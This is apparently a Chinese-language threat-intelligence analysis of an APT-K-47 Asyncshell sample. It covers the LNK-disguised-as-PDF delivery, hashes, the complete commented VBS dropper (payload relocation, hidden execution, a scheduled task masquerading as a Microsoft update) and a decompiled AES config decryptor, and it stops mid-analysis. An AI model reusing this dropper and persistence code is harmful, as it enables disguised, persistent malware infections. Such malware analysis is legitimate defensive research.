APT-K-47 Asyncshell Version3 Analysis

来源

APT-K-47，绰号 Mysterious Elephant（神秘象） ，来自南亚的高级持续性威胁组织，主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国，攻击手段围绕社会工程学展开，根据热点信息投递诱饵进行钓鱼，进而入侵目标并窃取敏感数据。

APT-K-47 从2023年开始频繁使用 Asyncshell 发起攻击活动，并逐步对攻击链和载荷代码进行升级，本样本于2024年7月捕获，为 Asyncshell 的第二代变种，记作 Asyncshell-Version3

同期样本MD5：

7728fee377137e83e9bd1c609cc166c0

dad7d9528e9506ebd0524b3ebd89ddf2

攻击链条：

图片来自知道创宇404实验室

样本分析

MD5值：b28bb7cabfb12e9bc5b87692b065c83a

文件结构分为两部分，一个是文件夹_Anx里面是攻击载荷，另外一个是伪装成pdf的lnk快捷方式。

C:\Windows\System32\cscript.exe _Anx\_Anx\Anx.vbs

调用cscript.exe运行_Anx\_Anx下的恶意代码

其中Anx、Anx.vbs、filename.lnk、SysConfig.enc 为隐藏文件，Islamabad_Security_Dialogue_Pub.pdf 为正常pdf文件，内容为2021届伊斯兰堡安全对话

MD5值：162a9b9aee469b8de10c37c6311906cd

Anx.vbs脚本的主要作用是移动文件、创建计划任务，并执行恶意代码

MD5值：c3d460ac3a93e86782c2bc374aa5ecd2

REM 为了便于阅读，我添加了注释
Dim objFSO
Dim strFilePath
Dim strNewFilePath

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Dim currentPath
currentPath = objFSO.GetAbsolutePathName(".") 
strFilePath = currentPath & "\_Anx\_Anx\Anx"
strNewFilePath = strFilePath & ".exe"   '_Anx\_Anx\Anx 重命名为 Anx.exe
objFSO.MoveFile strFilePath, strNewFilePath
Set objFSO = Nothing

Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")

Dim sourcePath,destinationPath,deleteFile,runfile,runfile2
sourcePath = currentPath & "\_Anx\_Anx\Islamabad_Security_Dialogue_Pub.pdf"
destinationPath = currentPath & "\Islamabad_Security_Dialogue_Pub.pdf"  '将Islamabad_Security_Dialogue_Pub.pdf 移动到根目录并命名为 Islamabad_Security_Dialogue_Pub.pdf
deleteFile = currentPath &  "\Islamabad_Security_Dialogue_Pub.pdf.lnk"  '删除伪装的快捷方式
runfile = Chr(34) & currentPath & "\_Anx\_Anx\Anx.exe" & Chr(34)
runfile2 = currentPath & "\_Anx\_Anx\Anx.exe"
runfile3 = currentPath & "\_Anx\_Anx\SysConfig.enc"
fso.MoveFile sourcePath, destinationPath
fso.DeleteFile deleteFile

Dim tempFolder, tempPath
tempFolder = fso.GetSpecialFolder(2)
tempPath = tempFolder & "\Anx.exe"
tempPath2 = tempFolder & "\SysConfig.enc"
fso.CopyFile runfile2, tempPath, True
fso.CopyFile runfile3, tempPath2, True

Dim v1
v1 = Chr(34) & destinationPath & Chr(34)
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run v1, 0, False
WshShell.Run runfile, 0, False 
Set WshShell = Nothing

Dim shellPath
Dim taskName   '设定计划任务'

    shellPath = tempPath
    taskName = "WindowsBackgroundService"  '计划任务命名为WindowsBackgroundService'
    Const TriggerTypeDaily = 1
    Const ActionTypeExec = 0
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Update"
    regInfo.Author = "Microsoft"

    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = False
    settings.DisallowStartIfOnBatteries = False

    Dim triggers
    Set triggers = taskDefinition.triggers

    Dim trigger
    On Error Resume Next
        CreateObject("WScript.Shell").RegRead ("HKEY_USERS\S-1-5-19\Environment\TEMP")
        If Err.Number = 0 Then
            IsAdmin = True
            Set trigger = triggers.Create(8)
        Set trigger = triggers.Create(9)
        Else
            IsAdmin = False
        End If
        Err.Clear
        On Error GoTo 0
        '使用 WScript.Shell.RegRead 检查注册表项，以判断是否具有管理员权限。如果是管理员权限，则尝试配置更多类型的触发器。
    Set trigger = triggers.Create(7)
    Set trigger = triggers.Create(6)
    Set trigger = triggers.Create(TriggerTypeDaily)
    Dim startTime, endTime

    Dim time

    time = DateAdd("n", 2, Now)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(time)
    cMinute = "0" & Minute(time)
    CHour = "0" & Hour(time)
    cDay = "0" & Day(time)
    cMonth = "0" & Month(time)
    cYear = Year(time)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    startTime = tDate & "T" & tTime

    endTime = "2099-05-02T10:52:02"   '持续运行到 2099 年
    trigger.StartBoundary = startTime
    trigger.EndBoundary = endTime
    trigger.ID = "TimeTriggerId"
    trigger.Enabled = True

    Dim repetitionPattern
    Set repetitionPattern = trigger.Repetition
    repetitionPattern.Interval = "PT59M" '
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = shellPath
    Action.arguments = ""
    Dim objNet, LoginUser
    Set objNet = CreateObject("WScript.Network")
    LoginUser = objNet.UserName

        If UCase(LoginUser) = "SYSTEM" Then
        Else
        LoginUser = Empty
        End If

    Call rootFolder.RegisterTaskDefinition(taskName, taskDefinition, 6, LoginUser, , 3)

Anx.exe MD5值：316e8d798f7db625c207532e2f7a5d38

存在混淆加密，exeinfo查看一下：

是ConfuserEx 可以用 de4dot 进行反编译，

使用ConfuserEx加密混淆程序以及如何脱壳反编译-CSDN博客

然后拿dnspy得到原本逻辑

exe由C#语言编写

Sysconfig.enc 的解密函数：

    private static string smethod_2(string string_2, byte[] byte_1)
    {
        string result;
        try
        {
            byte[] buffer = Class0.smethod_3(File.ReadAllText(string_2));
            using (Aes aes = Aes.Create())
            {
                aes.Key = byte_1;
                using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    byte[] array = new byte[16];
                    memoryStream.Read(array, 0, array.Length);
                    aes.IV = array;
                    using (ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV))
                    {
                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
                        {
                            using (StreamReader streamReader = new StreamReader(cryptoStream))
                            {
                                result = streamReader.ReadToEnd();
                            }
                        }
                    }
                }
            }
        }

很明显的AES解密，